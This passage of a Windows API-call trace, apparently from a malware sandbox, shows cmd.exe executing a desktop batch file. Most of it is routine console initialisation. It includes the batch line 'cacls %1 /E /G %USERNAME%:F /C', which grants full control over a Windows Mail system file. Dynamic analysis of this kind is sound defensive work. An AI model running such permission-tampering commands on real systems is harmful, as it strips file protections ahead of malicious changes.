_String2="CMDEXTVERSION") returned 8 [0130.348] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0130.348] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0130.348] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0130.348] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0130.348] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0130.348] GetProcessHeap () returned 0x400000 [0130.349] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x54) returned 0x4176d0 [0130.349] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37fc28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0130.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x37fc28, lpFilePart=0x37fc24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37fc24*="Desktop") returned 0x25 [0130.349] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0130.349] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37f9a4 | out: lpFindFileData=0x37f9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x413ee8 [0130.349] FindClose (in: hFindFile=0x413ee8 | out: hFindFile=0x413ee8) returned 1 [0130.349] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37f9a4 | out: lpFindFileData=0x37f9a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x413ee8 [0130.349] FindClose (in: hFindFile=0x413ee8 | out: hFindFile=0x413ee8) returned 1 [0130.349] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0130.349] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37f9a4 | out: lpFindFileData=0x37f9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x413ee8 [0130.349] FindClose (in: hFindFile=0x413ee8 | out: hFindFile=0x413ee8) returned 1 [0130.349] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0130.349] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0130.350] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0130.350] GetProcessHeap () returned 0x400000 [0130.350] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416be0 | out: hHeap=0x400000) returned 1 [0130.350] GetEnvironmentStringsW () returned 0x4160f0* [0130.350] GetProcessHeap () returned 0x400000 [0130.350] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb36) returned 0x417f30 [0130.350] FreeEnvironmentStringsW (penv=0x4160f0) returned 1 [0130.350] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0130.350] GetProcessHeap () returned 0x400000 [0130.350] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4176d0 | out: hHeap=0x400000) returned 1 [0130.350] GetProcessHeap () returned 0x400000 [0130.350] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400e) returned 0x418a70 [0130.350] GetProcessHeap () returned 0x400000 [0130.350] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe6) returned 0x414dc0 [0130.351] GetProcessHeap () returned 0x400000 [0130.351] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4008) returned 0x41ca88 [0130.351] GetProcessHeap () returned 0x400000 [0130.351] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4008) returned 0x420a98 [0130.351] GetProcessHeap () returned 0x400000 [0130.351] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a70 | out: hHeap=0x400000) returned 1 [0130.351] GetConsoleOutputCP () returned 0x1b5 [0130.352] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0130.352] GetUserDefaultLCID () returned 0x409 [0130.352] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0130.352] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x37fd68, cchData=128 | out: lpLCData="0") returned 2 [0130.352] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x37fd68, cchData=128 | out: lpLCData="0") returned 2 [0130.352] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x37fd68, cchData=128 | out: lpLCData="1") returned 2 [0130.352] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0130.352] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0130.353] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0130.353] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0130.354] GetProcessHeap () returned 0x400000 [0130.354] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20c) returned 0x414eb0 [0130.354] GetConsoleTitleW (in: lpConsoleTitle=0x414eb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.355] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0130.355] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0130.355] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0130.355] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0130.356] GetProcessHeap () returned 0x400000 [0130.356] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400a) returned 0x418a70 [0130.356] GetProcessHeap () returned 0x400000 [0130.356] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a70 | out: hHeap=0x400000) returned 1 [0130.357] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0130.357] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0130.357] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0130.357] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0130.357] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0130.357] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0130.357] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0130.357] GetProcessHeap () returned 0x400000 [0130.357] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x4150c8 [0130.357] GetProcessHeap () returned 0x400000 [0130.357] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x72) returned 0x410ee0 [0130.358] GetProcessHeap () returned 0x400000 [0130.358] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x76) returned 0x410f60 [0130.359] GetConsoleTitleW (in: lpConsoleTitle=0x37fa60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.359] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0130.360] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0130.360] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0130.360] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0130.360] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0130.360] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0130.360] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0130.360] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0130.360] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0130.360] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0130.360] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0130.360] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0130.360] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0130.360] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0130.360] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0130.360] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0130.360] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0130.360] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0130.360] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0130.360] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0130.360] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0130.360] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0130.360] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0130.360] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0130.360] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0130.360] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0130.360] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0130.360] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0130.360] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0130.360] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0130.360] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0130.360] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0130.360] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0130.361] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0130.361] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0130.361] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0130.361] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0130.361] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0130.361] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0130.361] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0130.361] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0130.361] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0130.361] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0130.361] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0130.361] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0130.361] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0130.361] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0130.361] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0130.361] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0130.361] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0130.361] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0130.361] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0130.361] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0130.361] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0130.361] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0130.361] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0130.361] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0130.361] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0130.361] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0130.361] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0130.361] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0130.361] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0130.361] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0130.361] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0130.361] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0130.361] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0130.361] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0130.361] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0130.361] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0130.361] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0130.362] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0130.362] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0130.362] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0130.362] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0130.362] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0130.362] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0130.362] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0130.362] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0130.362] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0130.362] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0130.362] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0130.362] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0130.362] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0130.362] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0130.362] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0130.362] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0130.362] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0130.362] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0130.362] GetProcessHeap () returned 0x400000 [0130.362] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x210) returned 0x415128 [0130.362] GetProcessHeap () returned 0x400000 [0130.362] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe0) returned 0x415340 [0130.364] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x418) returned 0x4007f0 [0130.364] SetErrorMode (uMode=0x0) returned 0x0 [0130.364] SetErrorMode (uMode=0x1) returned 0x0 [0130.364] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x4007f8, lpFilePart=0x37f580 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f580*="Desktop") returned 0x25 [0130.364] SetErrorMode (uMode=0x0) returned 0x1 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4007f0, Size=0x6e) returned 0x4007f0 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4007f0) returned 0x6e [0130.364] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x5a) returned 0x415428 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xa8) returned 0x415490 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x415490, Size=0x5a) returned 0x415490 [0130.364] GetProcessHeap () returned 0x400000 [0130.364] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415490) returned 0x5a [0130.365] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0130.365] GetProcessHeap () returned 0x400000 [0130.365] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe0) returned 0x4154f8 [0130.368] GetProcessHeap () returned 0x400000 [0130.368] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4154f8, Size=0x76) returned 0x4154f8 [0130.368] GetProcessHeap () returned 0x400000 [0130.368] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4154f8) returned 0x76 [0130.368] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.368] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x37f31c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f31c) returned 0x415578 [0130.368] GetProcessHeap () returned 0x400000 [0130.368] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x14) returned 0x4155b8 [0130.368] FindClose (in: hFindFile=0x415578 | out: hFindFile=0x415578) returned 1 [0130.368] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0130.368] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0130.368] GetConsoleTitleW (in: lpConsoleTitle=0x37f7f4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.381] GetProcessHeap () returned 0x400000 [0130.381] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x11c) returned 0x400868 [0130.382] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0130.382] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0130.382] IdentifyCodeAuthzLevelW () returned 0x1 [0130.389] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0130.390] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0130.390] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0130.390] CloseCodeAuthzLevel () returned 0x1 [0130.390] SetErrorMode (uMode=0x0) returned 0x0 [0130.390] SetErrorMode (uMode=0x1) returned 0x0 [0130.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x415130, lpFilePart=0x37f6e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x37f6e0*="Bt3xnwko.bat") returned 0x32 [0130.390] SetErrorMode (uMode=0x0) returned 0x1 [0130.390] GetProcessHeap () returned 0x400000 [0130.390] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x72) returned 0x410fe0 [0130.390] wcsspn (_String=" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"", _Control=" \x09") returned 0x1 [0130.390] GetProcessHeap () returned 0x400000 [0130.390] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x74) returned 0x411060 [0130.390] GetProcessHeap () returned 0x400000 [0130.390] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe0) returned 0x4010c0 [0130.390] GetProcessHeap () returned 0x400000 [0130.390] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4010c0, Size=0x76) returned 0x4010c0 [0130.390] GetProcessHeap () returned 0x400000 [0130.390] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4010c0) returned 0x76 [0130.390] CmdBatNotification () returned 0x415192 [0130.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x37f724, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0130.391] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0130.391] _get_osfhandle (_FileHandle=3) returned 0x78 [0130.391] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.391] _get_osfhandle (_FileHandle=3) returned 0x78 [0130.391] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.391] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x37f708, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x37f708*=0xe2, lpOverlapped=0x0) returned 1 [0130.393] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0130.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0130.394] _get_osfhandle (_FileHandle=3) returned 0x78 [0130.394] GetFileType (hFile=0x78) returned 0x1 [0130.394] _get_osfhandle (_FileHandle=3) returned 0x78 [0130.394] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0130.394] GetProcessHeap () returned 0x400000 [0130.394] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400a) returned 0x418a70 [0130.394] GetProcessHeap () returned 0x400000 [0130.394] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4008) returned 0x424aa8 [0130.394] GetProcessHeap () returned 0x400000 [0130.394] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x1a) returned 0x4177c0 [0130.394] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0130.394] GetProcessHeap () returned 0x400000 [0130.394] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4177c0 | out: hHeap=0x400000) returned 1 [0130.394] GetProcessHeap () returned 0x400000 [0130.394] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x424aa8 | out: hHeap=0x400000) returned 1 [0130.395] GetProcessHeap () returned 0x400000 [0130.395] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a70 | out: hHeap=0x400000) returned 1 [0130.395] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0130.395] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0130.395] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0130.395] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0130.395] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0130.395] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0130.395] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0130.395] GetProcessHeap () returned 0x400000 [0130.395] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x401140 [0130.395] GetProcessHeap () returned 0x400000 [0130.395] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x14) returned 0x4011a0 [0130.397] GetProcessHeap () returned 0x400000 [0130.397] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb6) returned 0x4011c0 [0130.398] _tell (_FileHandle=3) returned 32 [0130.398] _close (_FileHandle=3) returned 0 [0130.398] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f4dc | out: _Buffer="\r\n") returned 2 [0130.398] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.398] GetFileType (hFile=0x7) returned 0x2 [0130.398] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0130.398] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f49c | out: lpMode=0x37f49c) returned 1 [0130.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.399] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f4c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f4c8*=0x2) returned 1 [0130.399] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0130.399] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0130.399] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x37f4d8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0130.399] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x37f4d8 | out: _Buffer=">") returned 1 [0130.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.399] GetFileType (hFile=0x7) returned 0x2 [0130.400] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0130.400] GetConsoleMode (in: 